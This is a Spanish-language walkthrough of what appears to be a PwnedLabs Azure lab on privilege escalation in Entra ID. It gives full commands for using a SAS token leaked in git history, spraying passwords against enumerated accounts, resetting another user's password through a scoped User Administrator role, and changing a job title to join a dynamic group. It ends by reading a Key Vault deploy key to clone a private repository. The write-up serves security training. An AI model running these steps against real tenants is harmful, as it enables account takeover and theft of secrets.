Abuse Dynamic Groups in Entra ID for Privilege Escalation
Azure PwnedLabs
El repositorio que tenemos que ver es el siguiente: https://github.com/Mega-Big-Tech/Applicant-Management
git clone gh repo clone Mega-Big-Tech/Applicant-Management.git
git log

git show 059292cfc8298ad0a930287743596243b0d65e19
Vemos el sasToken.

Abrimos el Microsoft Azure Storage Explorer.

Escogemos la tercera opcion.

Escogemos la segunda opcion.

En la segunda imagen de este articulo pueden ver donde saque esta informacion (1).

Al tratar de ver la informacion nos sale lo siguiente:

Vemos que el contenedor fue eliminado.

Ahora nos desligamos de los contenedores y iniciamos de nuevo.

Bajamos el archivo de Mega Big Tech New Employee Onboarding.

open Mega Big Tech New Employee Onboarding.pdf

Desde el az cli se hace asi:
az storage container list --account-name mbtfileshr --sas-token "sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=Dws3bgGUWCUknRdVmRoFXItmnItJDLHy76Axgu1qNtE%3D" --output table

az storage blob list --account-name mbtfileshr --container-name candidate-resumes --sas-token "sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=Dws3bgGUWCUknRdVmRoFXItmnItJDLHy76Axgu1qNtE%3D" --output table

az storage blob download --account-name mbtfileshr --container-name candidate-resumes --name "Mega Big Tech New Employee Onboarding.pdf" --file "Mega Big Tech New Employee Onboarding.pdf" --sas-token 'sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=Dws3bgGUWCUknRdVmRoFXItmnItJDLHy76Axgu1qNtE%3D' --output table

ruby username-anarchy --suffix @megabigtech.com Angelina Lee > emails.txt

python3 Oh365UserFinder.py -r emails.txt

Encontramos un usuario valido.
python3 Oh365UserFinder.py --el emails.txt --password 'MBT$Future!' --pwspray

Nos conectamos a https://aadinternals.com/osint/ y buscamos alee@megabigtech.com

Connect-AzAccount -TenantId 2590ccef-687d-493b-ae8d-441cbab63a72

Por alguna razon esto no me funciono.

Connect-AzAccount -TenantId 2590ccef-687d-493b-ae8d-441cbab63a72



Hago lo mismo desde el portal para verificar.


Le damos click a Si.


Parece que no tenemos acceso a los recursos de Azure.
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "User.Read.All"

Corriendo Get-MgUser y nos damos cuenta que es un supervisor de Ingenieria.
Get-MgUser -UserId alee@megabigtech.com | fl

Get-MgUser -Filter "onPremisesSyncEnabled eq true" | Select-Object UserPrincipalName| Out-File users.txt

python3 .\Oh365UserFinder\oh365userfinder.py -p 'MBT$Future!' --pwspray --elist .\users.txt

Estos usuarios no usaron la misma contrasena.
Get-MgDirectoryAdministrativeUnit | fl

Como el usuario es un supervisor de ingenieria vemos a ver si tiene permiso en la unidad de ONBOARDING-ENGINEERING.
$ScopedRoleMembers = Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId 4a3288aa-1a8b-485a-8ced-2bd80feef625
$ScopedRoleMembers

Esto devuelve el ID de una función que se ha configurado en la unidad administrativa. Al ejecutar Get-MgDirectoryRole con el ID de la función, vemos que se han concedido los permisos privilegiados de administrador de usuarios.
Get-MgRoleManagementDirectoryRoleAssignment -Filter "PrincipalId eq '$($user.Id)'" | fl
Y nos despliega el AdministrativeUnitId


Get-MgDirectoryRole -DirectoryRoleId 44f23f5b-69bb-41a4-a417-c5427772de41 | fl


Esta función permite a los miembros de la misma gestionar todos los aspectos relacionados con los usuarios y los grupos, incluido el restablecimiento de contraseñas para administradores con privilegios limitados.
Corremos el siguiente script.

./FindAdminUsers.ps1

Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId "fe930be7-5e62-47db-91af-98c3a49a38b1" | fl

(Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId "fe930be7-5e62-47db-91af-98c3a49a38b1").RolePermissions.AllowedResourceActions
Podemos ver las acciones de ese rol.

Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 4a3288aa-1a8b-485a-8ced-2bd80feef625

Get-MgUser -UserId f5597fb4-82b3-4b25-9dfb-761a25f36f67

Felix Scheider es un ingeniero que es miembro de esa unidad administrativa.
Vamos a modificar la contrasena de Felix.

Connect-AzAccount -AccountId “Felix.Schneider@megabigtech.com”


Nos conectamos como Felix.

Note: we can leave the context of MgGraph as Angelina as she may have permissions we can use in the user-centric Microsoft Graph…
Get-AzResource

Para adquirir los secretos de


Nuestro usuario no puede ver los secretos.
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" -Property Id,DisplayName,Description,Mail,MailEnabled,SecurityEnabled,Visibility,MembershipRule,MembershipRuleProcessingState,CreatedDateTime |
Select-Object DisplayName,Id,Description,Mail,MailEnabled,SecurityEnabled,Visibility,MembershipRule,MembershipRuleProcessingState,CreatedDateTime |
Export-Csv -Path .\dynamic-groups.csv -NoTypeInformation -Encoding UTF8
Para ver las membresias dinamicas.

Get-GraphTokens

Get-DynamicGroups -Tokens $tokens

Podemos hacer que felix se vuelva admin o cambiarle el titulo de Algorithm Administrator

$params = @{
passwordProfile = @{
forceChangePasswordNextSignIn = $false
forceChangePasswordNextSignInWithMfa = $false
password = "Password12345!!"}
}
Update-MgUser -userid 'Felix.schneider@megabigtech.com' -BodyParameter $params
Update-MgUser -userid 'f5597fb4-82b3-4b25-9dfb-761a25f36f67' -JobTitle 'Algorithm Administrator'






Por la terminal hacemos estos comandos para ver el secreto.
az resource list --query "[].{ID:id,Type:type,ResourceGroup:resourceGroup,Identity:identity}"
az keyvault secret list --vault-name Engineering-Vault1 --query "[].name"
az keyvault secret show --vault-name Engineering-Vault1 --name "algo-github-deploy-key" --query "value"

New.pem es la llave privada o el secreto que encontramos arriba.
chmod 400 deploy-key.pem
GIT_SSH_COMMAND='ssh -i deploy-key.pem -o IdentitiesOnly=yes' git clone git@github.com:/Mega-Big-Tech/algorithm-internal

cd algorithm-internal
cat flag.txt
